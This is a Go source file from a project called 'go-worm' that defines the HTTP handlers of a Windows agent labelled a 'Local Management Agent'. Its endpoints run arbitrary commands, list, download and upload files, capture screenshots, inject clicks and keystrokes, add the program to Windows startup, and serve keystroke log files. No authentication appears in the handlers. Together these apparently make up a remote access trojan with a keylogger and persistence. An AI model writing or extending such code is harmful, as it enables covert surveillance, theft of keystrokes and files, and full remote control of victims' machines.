go-worm/lib/agent/handlers.go

package agent

import (
	"context"
	"encoding/json"
	"errors"
	"io"
	"mime"
	"net/http"
	"os"
	"path/filepath"
	"runtime"
	"strconv"
	"strings"
	"time"

	"tea.chunkbyte.com/kato/go-worm/lib/command"
	"tea.chunkbyte.com/kato/go-worm/lib/config"
	"tea.chunkbyte.com/kato/go-worm/lib/files"
	"tea.chunkbyte.com/kato/go-worm/lib/helpers"
	"tea.chunkbyte.com/kato/go-worm/lib/input"
	"tea.chunkbyte.com/kato/go-worm/lib/keylog"
	"tea.chunkbyte.com/kato/go-worm/lib/models"
	"tea.chunkbyte.com/kato/go-worm/lib/screenshot"
	"tea.chunkbyte.com/kato/go-worm/lib/startup"
)

func (a *Agent) handleHealth(w http.ResponseWriter, r *http.Request) {
	if r.Method != http.MethodGet {
		helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
		return
	}
	helpers.WriteJSON(w, http.StatusOK, map[string]string{"status": "ok"})
}

func (a *Agent) handleOpenAPI(w http.ResponseWriter, r *http.Request) {
	if r.Method != http.MethodGet {
		helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
		return
	}
	helpers.WriteJSON(w, http.StatusOK, map[string]any{
		"openapi": "3.0.3", "info": map[string]string{"title": "Local Management Agent", "version": config.Version},
		"paths": map[string]any{
			"/api/v1/status":      map[string]any{"get": map[string]string{"summary": "Agent status"}},
			"/api/v1/files":       map[string]any{"get": map[string]string{"summary": "List files"}},
			"/api/v1/download":    map[string]any{"get": map[string]string{"summary": "Download file"}},
			"/api/v1/upload":      map[string]any{"post": map[string]string{"summary": "Upload a file to a directory"}},
			"/api/v1/screenshot":  map[string]any{"get": map[string]string{"summary": "Capture desktop"}},
			"/api/v1/exec":        map[string]any{"post": map[string]string{"summary": "Run a command"}},
			"/api/v1/startup":     map[string]any{"post": map[string]string{"summary": "Add to Windows startup"}, "delete": map[string]string{"summary": "Remove from Windows startup"}},
			"/api/v1/input/click": map[string]any{"post": map[string]string{"summary": "Click the desktop"}},
			"/api/v1/input/text":  map[string]any{"post": map[string]string{"summary": "Type text into the focused field"}},
			"/api/v1/keylog":              map[string]any{"get": map[string]string{"summary": "List keystroke log files"}},
			"/api/v1/keylog/download":     map[string]any{"get": map[string]string{"summary": "Download a keystroke log file"}},
		},
	})
}

func (a *Agent) handleStatus(w http.ResponseWriter, r *http.Request) {
	if r.Method != http.MethodGet {
		helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
		return
	}
	host, _ := os.Hostname()
	helpers.WriteJSON(w, http.StatusOK, map[string]any{
		"os": "windows", "architecture": runtime.GOARCH, "user": helpers.Username(), "hostname": host,
		"uptime_seconds": int64(time.Since(a.startedAt).Seconds()), "local_ips": helpers.LocalIPs(),
		"agent_version": config.Version, "listen_address": a.addr,
		"startup_enabled": startup.Enabled(),
	})
}

func (a *Agent) handleStartup(w http.ResponseWriter, r *http.Request) {
	switch r.Method {
	case http.MethodPost:
		if err := startup.Enable(); err != nil {
			helpers.Log.Printf("startup enable: %v", err)
			helpers.WriteError(w, http.StatusInternalServerError, "could not add to startup")
			return
		}
	case http.MethodDelete:
		if err := startup.Disable(); err != nil {
			helpers.Log.Printf("startup disable: %v", err)
			helpers.WriteError(w, http.StatusInternalServerError, "could not remove from startup")
			return
		}
	default:
		helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
		return
	}
	helpers.WriteJSON(w, http.StatusOK, map[string]any{"startup_enabled": startup.Enabled()})
}

func (a *Agent) handleFiles(w http.ResponseWriter, r *http.Request) {
	if r.Method != http.MethodGet {
		helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
		return
	}
	depth, err := files.ParseDepth(r.URL.Query().Get("depth"))
	if err != nil {
		helpers.WriteError(w, http.StatusBadRequest, err.Error())
		return
	}
	path := r.URL.Query().Get("path")
	if path == "" {
		path, _ = os.UserHomeDir()
	}
	dir, err := files.AllowedPath(a.root, path, true)
	if err != nil {
		files.WritePathError(w, err)
		return
	}
	info, err := os.Stat(dir)
	if err != nil {
		files.WritePathError(w, err)
		return
	}
	if !info.IsDir() {
		helpers.WriteError(w, http.StatusBadRequest, "path is not a directory")
		return
	}
	entries, err := files.ListDirectory(dir, depth)
	if err != nil {
		files.WritePathError(w, err)
		return
	}
	helpers.WriteJSON(w, http.StatusOK, map[string]any{"path": dir, "depth": depth, "entries": entries})
}

func (a *Agent) handleDownload(w http.ResponseWriter, r *http.Request) {
	if r.Method != http.MethodGet {
		helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
		return
	}
	path := r.URL.Query().Get("path")
	if path == "" {
		helpers.WriteError(w, http.StatusBadRequest, "path is required")
		return
	}
	file, err := files.AllowedPath(a.root, path, true)
	if err != nil {
		files.WritePathError(w, err)
		return
	}
	f, err := os.Open(file)
	if err != nil {
		files.WritePathError(w, err)
		return
	}
	defer f.Close()
	info, err := f.Stat()
	if err != nil {
		files.WritePathError(w, err)
		return
	}
	if info.IsDir() {
		helpers.WriteError(w, http.StatusBadRequest, "path is a directory")
		return
	}
	name := filepath.Base(file)
	contentType := mime.TypeByExtension(filepath.Ext(name))
	if contentType == "" {
		var sample [512]byte
		n, _ := f.Read(sample[:])
		contentType = http.DetectContentType(sample[:n])
		_, _ = f.Seek(0, io.SeekStart)
	}
	w.Header().Set("Content-Type", contentType)
	w.Header().Set("Content-Disposition", `attachment; filename="`+strings.ReplaceAll(name, `"`, "'")+`"`)
	w.Header().Set("Accept-Ranges", "bytes")
	http.ServeContent(w, r, name, info.ModTime(), f)
}

func (a *Agent) handleUpload(w http.ResponseWriter, r *http.Request) {
	if r.Method != http.MethodPost {
		helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
		return
	}
	r.Body = http.MaxBytesReader(w, r.Body, config.MaxUploadSize)
	if err := r.ParseMultipartForm(config.MaxUploadSize); err != nil {
		helpers.WriteError(w, http.StatusBadRequest, "upload body is too large or invalid")
		return
	}
	dir := strings.TrimSpace(r.FormValue("path"))
	if dir == "" {
		helpers.WriteError(w, http.StatusBadRequest, "path is required")
		return
	}
	upload, header, err := r.FormFile("file")
	if err != nil {
		helpers.WriteError(w, http.StatusBadRequest, "file is required")
		return
	}
	defer upload.Close()

	target, err := files.UploadTarget(a.root, dir, header.Filename)
	if err != nil {
		switch {
		case errors.Is(err, files.ErrBadUploadName):
			helpers.WriteError(w, http.StatusBadRequest, err.Error())
		default:
			files.WritePathError(w, err)
		}
		return
	}

	out, err := os.OpenFile(target, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0o644)
	if err != nil {
		files.WritePathError(w, err)
		return
	}
	written, err := io.Copy(out, upload)
	closeErr := out.Close()
	if err != nil {
		helpers.Log.Printf("upload: %v", err)
		helpers.WriteError(w, http.StatusInternalServerError, "could not save file")
		return
	}
	if closeErr != nil {
		helpers.Log.Printf("upload close: %v", closeErr)
		helpers.WriteError(w, http.StatusInternalServerError, "could not save file")
		return
	}

	helpers.WriteJSON(w, http.StatusOK, map[string]any{
		"ok":   true,
		"path": target,
		"size": written,
		"name": filepath.Base(target),
	})
}

func (a *Agent) handleScreenshot(w http.ResponseWriter, r *http.Request) {
	if r.Method != http.MethodGet {
		helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
		return
	}
	format := strings.ToLower(strings.TrimSpace(r.URL.Query().Get("format")))
	if format == "" {
		format = "png"
	}
	if format != "png" && format != "jpeg" {
		helpers.WriteError(w, http.StatusBadRequest, "format must be png or jpeg")
		return
	}
	quality := 80
	if raw := r.URL.Query().Get("quality"); raw != "" {
		var err error
		quality, err = strconv.Atoi(raw)
		if err != nil || quality < 1 || quality > config.MaxImageQuality {
			helpers.WriteError(w, http.StatusBadRequest, "quality must be between 1 and 100")
			return
		}
	}
	monitor := 0
	if raw := r.URL.Query().Get("monitor"); raw != "" {
		var err error
		monitor, err = strconv.Atoi(raw)
		if err != nil || monitor < 0 {
			helpers.WriteError(w, http.StatusBadRequest, "monitor must be 0 or greater")
			return
		}
	}
	frame, err := screenshot.CaptureMonitor(monitor, format, quality)
	if err != nil {
		if errors.Is(err, screenshot.ErrMonitorNotFound) {
			helpers.WriteError(w, http.StatusBadRequest, err.Error())
			return
		}
		helpers.Log.Printf("screenshot: %v", err)
		helpers.WriteError(w, http.StatusServiceUnavailable, "no interactive desktop is available")
		return
	}
	w.Header().Set("Content-Type", frame.ContentType)
	w.Header().Set("Content-Length", strconv.Itoa(len(frame.Data)))
	w.Header().Set("X-Monitor-Left", strconv.Itoa(frame.Left))
	w.Header().Set("X-Monitor-Top", strconv.Itoa(frame.Top))
	w.Header().Set("X-Monitor-Width", strconv.Itoa(frame.Width))
	w.Header().Set("X-Monitor-Height", strconv.Itoa(frame.Height))
	_, _ = w.Write(frame.Data)
}

func (a *Agent) handleClick(w http.ResponseWriter, r *http.Request) {
	if r.Method != http.MethodPost {
		helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
		return
	}
	r.Body = http.MaxBytesReader(w, r.Body, config.RequestBodyMax)
	defer r.Body.Close()
	var request models.ClickRequest
	decoder := json.NewDecoder(r.Body)
	decoder.DisallowUnknownFields()
	if err := decoder.Decode(&request); err != nil {
		helpers.WriteError(w, http.StatusBadRequest, "body must contain click coordinates")
		return
	}
	left, top, width, height, err := screenshot.MonitorBounds(request.Monitor)
	if err != nil {
		if errors.Is(err, screenshot.ErrMonitorNotFound) {
			helpers.WriteError(w, http.StatusBadRequest, err.Error())
			return
		}
		helpers.WriteError(w, http.StatusBadRequest, "monitor not found")
		return
	}
	if request.X < left || request.Y < top || request.X >= left+width || request.Y >= top+height {
		helpers.WriteError(w, http.StatusBadRequest, "click is outside the selected monitor")
		return
	}
	if err := input.Click(request.X, request.Y, request.Button); err != nil {
		if errors.Is(err, input.ErrBadButton) {
			helpers.WriteError(w, http.StatusBadRequest, err.Error())
			return
		}
		helpers.Log.Printf("click: %v", err)
		helpers.WriteError(w, http.StatusInternalServerError, "could not click")
		return
	}
	helpers.WriteJSON(w, http.StatusOK, map[string]any{"ok": true, "x": request.X, "y": request.Y})
}

func (a *Agent) handleText(w http.ResponseWriter, r *http.Request) {
	if r.Method != http.MethodPost {
		helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
		return
	}
	r.Body = http.MaxBytesReader(w, r.Body, config.RequestBodyMax)
	defer r.Body.Close()
	var request models.TextRequest
	decoder := json.NewDecoder(r.Body)
	decoder.DisallowUnknownFields()
	if err := decoder.Decode(&request); err != nil {
		helpers.WriteError(w, http.StatusBadRequest, "body must contain text")
		return
	}
	if request.Text == "" {
		helpers.WriteError(w, http.StatusBadRequest, input.ErrEmptyText.Error())
		return
	}
	if len(request.Text) > config.MaxInputText {
		helpers.WriteError(w, http.StatusBadRequest, "text is too long")
		return
	}
	delayMs := config.DefaultKeyDelayMs
	if request.DelayMs != nil {
		delayMs = input.ResolveKeyDelay(*request.DelayMs)
	}
	if err := input.TypeText(request.Text, delayMs); err != nil {
		helpers.Log.Printf("text: %v", err)
		helpers.WriteError(w, http.StatusInternalServerError, "could not type text")
		return
	}
	helpers.WriteJSON(w, http.StatusOK, map[string]any{
		"ok":       true,
		"length":   len(request.Text),
		"delay_ms": delayMs,
	})
}

func (a *Agent) handleExec(w http.ResponseWriter, r *http.Request) {
	if r.Method != http.MethodPost {
		helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
		return
	}
	r.Body = http.MaxBytesReader(w, r.Body, config.RequestBodyMax)
	defer r.Body.Close()
	var request models.ExecRequest
	decoder := json.NewDecoder(r.Body)
	decoder.DisallowUnknownFields()
	if err := decoder.Decode(&request); err != nil {
		helpers.WriteError(w, http.StatusBadRequest, "body must contain a command")
		return
	}
	cmdline := strings.TrimSpace(request.Command)
	if cmdline == "" {
		helpers.WriteError(w, http.StatusBadRequest, command.ErrEmptyCommand.Error())
		return
	}
	timeout, err := command.ResolveTimeout(request.TimeoutSec)
	if err != nil {
		helpers.WriteError(w, http.StatusBadRequest, err.Error())
		return
	}
	ctx, cancel := context.WithTimeout(r.Context(), timeout)
	defer cancel()
	result, err := command.Run(ctx, cmdline)
	if errors.Is(err, command.ErrTimeout) {
		helpers.WriteError(w, http.StatusGatewayTimeout, err.Error())
		return
	}
	if err != nil {
		helpers.Log.Printf("exec: %v", err)
		helpers.WriteError(w, http.StatusInternalServerError, "could not run command")
		return
	}
	helpers.WriteJSON(w, http.StatusOK, result)
}

func (a *Agent) handleKeylog(w http.ResponseWriter, r *http.Request) {
	if r.Method != http.MethodGet {
		helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
		return
	}
	files, err := keylog.List()
	if err != nil {
		helpers.Log.Printf("keylog list: %v", err)
		helpers.WriteError(w, http.StatusInternalServerError, "could not list keystroke logs")
		return
	}
	dir, err := keylog.Dir()
	if err != nil {
		helpers.Log.Printf("keylog dir: %v", err)
		helpers.WriteError(w, http.StatusInternalServerError, "could not resolve keystroke log directory")
		return
	}
	if files == nil {
		files = []keylog.FileInfo{}
	}
	helpers.WriteJSON(w, http.StatusOK, map[string]any{"directory": dir, "files": files})
}

func (a *Agent) handleKeylogDownload(w http.ResponseWriter, r *http.Request) {
	if r.Method != http.MethodGet {
		helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
		return
	}
	name := r.URL.Query().Get("file")
	if name == "" {
		helpers.WriteError(w, http.StatusBadRequest, "file is required")
		return
	}
	if !keylog.ValidLogFilename(name) {
		helpers.WriteError(w, http.StatusBadRequest, "invalid log file name")
		return
	}
	file, info, err := keylog.Open(name)
	if err != nil {
		if errors.Is(err, os.ErrNotExist) {
			helpers.WriteError(w, http.StatusNotFound, "log file not found")
			return
		}
		if errors.Is(err, os.ErrInvalid) {
			helpers.WriteError(w, http.StatusBadRequest, "invalid log file name")
			return
		}
		helpers.Log.Printf("keylog download: %v", err)
		helpers.WriteError(w, http.StatusInternalServerError, "could not open log file")
		return
	}
	defer file.Close()
	w.Header().Set("Content-Type", "text/plain; charset=utf-8")
	w.Header().Set("Content-Disposition", `attachment; filename="`+strings.ReplaceAll(filepath.Base(name), `"`, "'")+`"`)
	w.Header().Set("Accept-Ranges", "bytes")
	http.ServeContent(w, r, info.Name(), info.ModTime(), file)
}